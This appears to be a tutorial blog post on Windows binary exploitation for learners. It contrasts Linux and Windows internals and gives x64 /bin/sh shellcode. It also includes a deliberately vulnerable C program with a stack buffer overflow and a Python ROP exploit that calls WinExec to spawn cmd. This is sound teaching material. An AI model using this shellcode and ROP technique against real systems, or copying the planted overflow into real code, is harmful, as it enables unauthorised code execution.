Windows PWN #1
Intro
ELF -> PE
GOT/PLT -> IAT/EAT
syscalls -> volatile syscalls (ntdll)
ptmalloc -> LFH/Segmented Heap
LKM -> WDM drivers
Argument order is (Windows): , unlike Linux that utilizes registers in such order:
| Saved by | x86 | x64 | |
|---|---|---|---|
| Caller-saved (Volatile) | EAX, ECX, EDX | RAX, RCX, RDX, R8, R9, R10, R11 | These store function arguments and return values. You CANT have anything of importance in these |
| Callee-saved (Non-volatile) | EBX, EBP, ESI, EDI | RBX, RBP, RDI, RSI, RSP, R12-R15 | Fit for stroing important stuff such as kernel32 base / loaded functions addrs / string pointers |
So there are differences when it comes to switching to Windows binary exploitation. Some of these differences make our life easier, some make it harder.
We’ll start with BOF + ROP program. Once you understand this you’re able to go on learning LFH, Segmented Heap and other cool stuff.
Userspace
Linux : /proc/self/maps /
printf to leak libc Windows: we use RWW
primitive (e.g format string) to read stack addresses -> PEB walk
-> parse InLoadOrderModuleList to find
ntdll/kernel32 base
It’s important to know that libs on windows only change their image base on reboot, so once we leak it once we can use it for as long as we want to until the machine is up. On linux it’s not like that - libc is fully position independent, meaning even if we manage to leak its base once - it will change next time we launch the binary (it’s not that bad tho, the base address only randomizes the 4th nibble, meaning we can just brute force all the 16 options). ### Buffer Overflow
Let’s consider a rather common situation : a buffer overflow vulnerability. Linux exploitation boils down to the following: we search the binary for gadgets, construct a rop chain.
No NX bit => place your shellcode onto the stack (reach it with padding) => get shell.
global _start
section .text
_start:
xor rsi,rsi
push rsi
mov rdi,0x68732f2f6e69622f
push rdi
push rsp
pop rdi
push 59
pop rax
cdq
syscallNX bit is present => construct a ROP chain ( registers preparation,
/bin/shstring / ORW ) => win.
On Windows you can’t just find the right gadgets and a
cmd.exe string, because syscall numers (SSNs) change with
every OS update.
Just to make things simpler I decided to add leak()
function that gives us kernel32 address right away (in reality we would
need to find some RWW primitive first, e.g Format String)
#include <stdio.h>
#include <stdlib.h>
#include <io.h>
#include <Windows.h>
void init();
void leak();
void bof();
int main(void)
{
init();
leak();
bof();
printf("too bad :(\n");
return 0;
}
void init()
{
if (setvbuf(stdin, NULL, _IONBF, 0) ||
setvbuf(stdout, NULL, _IONBF, 0) ||
setvbuf(stderr, NULL, _IONBF, 0))
{
printf("o shit\n");
exit(EXIT_FAILURE);
}
}
void leak()
{
printf("kernel32.dll @ %p\n", GetModuleHandleA("kernel32.dll"));
}
void bof()
{
char str[8];
_read(0, str, 0x80);
}# x64
from pwintools import *
p = Process('./simple_rop.exe')
base = int(p.recvline(False).split()[-1], 16)
log.info("kernel32.dll @ 0x{:016x}".format(base))
# kernel32 offsets (you have to reverify against your local kernel32)
# you may lack the gadgets listed here ; it's ok
# just be creative and find something similar
WinExec = base + (p.symbols['kernel32.dll']['WinExec'] - p.libs['kernel32.dll']) # RVA 0x68820
POP_RCX = base + 0x198bb # pop rcx ; ret
POP_RAX = base + 0x52144 # (0x52140 + 4) ror byte[rax-0x7D],0xC4 ; >>> pop rax ; ret
WRITE4 = base + 0x7e435 # (0x7e432 + 3) setne al ; >>> mov [rcx], eax ; mov eax,1 ; ret
JMP_INF = base + 0x231d2 # EB FE -> jmp $ (keep parent alive so cmd keeps the socket)
DATA = base + 0xb7000 # start of writable .data (RW)
# WinExec("cmd", uCmdShow). We only need RCX -> "cmd\0".
# uCmdShow (RDX) can be garbage: WinExec still spawns the process
# P.S I found this thing out cuz I didn't have enough space to pack more that 1 arg
# so I decided to just go for it & it worked
# _read(0, str, 0x80) reads at most 0x80 = 128 bytes in total
# offset to return addr is 0x18, so the ROP chain must fit in 128-0x18 = 104 bytes.
payload = b"a" * 0x18
payload += p64(POP_RCX) + p64(DATA) # rcx = DATA
payload += p64(POP_RAX) + b"cmd\0\0\0\0\0" # eax = "cmd\0"
payload += p64(WRITE4) # *DATA = "cmd\0"
payload += p64(POP_RCX) + p64(DATA) # rcx -> "cmd" (arg1)
payload += p64(WinExec) # WinExec("cmd", garbage)
payload += p64(JMP_INF) # loop forever, don't crash the parent
#assert len(payload) <= 0x80, "payload {} > 0x80".format(len(payload))
log.info("payload len = {}".format(len(payload)))
p.send(payload)
log.info('Starting interactive mode ...')
p.interactive()